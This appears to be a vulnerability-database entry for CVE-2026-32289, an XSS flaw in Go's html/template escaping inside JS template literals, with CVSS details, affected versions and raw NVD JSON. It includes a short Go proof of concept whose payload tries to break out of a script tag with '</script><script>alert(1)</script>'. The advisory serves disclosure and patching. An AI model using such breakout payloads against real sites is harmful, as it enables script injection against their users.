Security Vulnerability Report
中文
CVE-2026-32289 CVSS 6.1 MEDIUM

CVE-2026-32289

Published: 2026-04-08 02:16:04
Last Modified: 2026-04-16 19:06:57

Description

Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied. These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go 标准库 html/template (受 CVE-2026-32289 影响的特定版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "html/template" "os" ) func main() { // Template demonstrating the context tracking issue in JS template literals // The template uses a conditional branch inside a JS template literal tmpl := `<script> let x = ` + "`" + `{{if .Condition}}{{.Data}}{{else}}default{{end}}` + "`" + `; </script>` t, err := template.New("test").Parse(tmpl) if err != nil { panic(err) } // Payload designed to break out of the template literal if escaping fails // Attackers might try to inject backticks or special chars data := struct { Condition bool Data string }{ Condition: true, Data: "` + "</script><script>alert(1)</script>", } err = t.Execute(os.Stdout, data) if err != nil { panic(err) } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32289", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.820", "lastModified": "2026-04-16T19:06:57.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Context was not properly tracked across template branches for JS template literals, leading to possibly incorrect escaping of content when branches were used. Additionally template actions within JS template literals did not properly track the brace depth, leading to incorrect escaping being applied. These issues could cause actions within JS template literals to be incorrectly or improperly escaped, leading to XSS vulnerabilities."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/763762", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78331", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4865", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}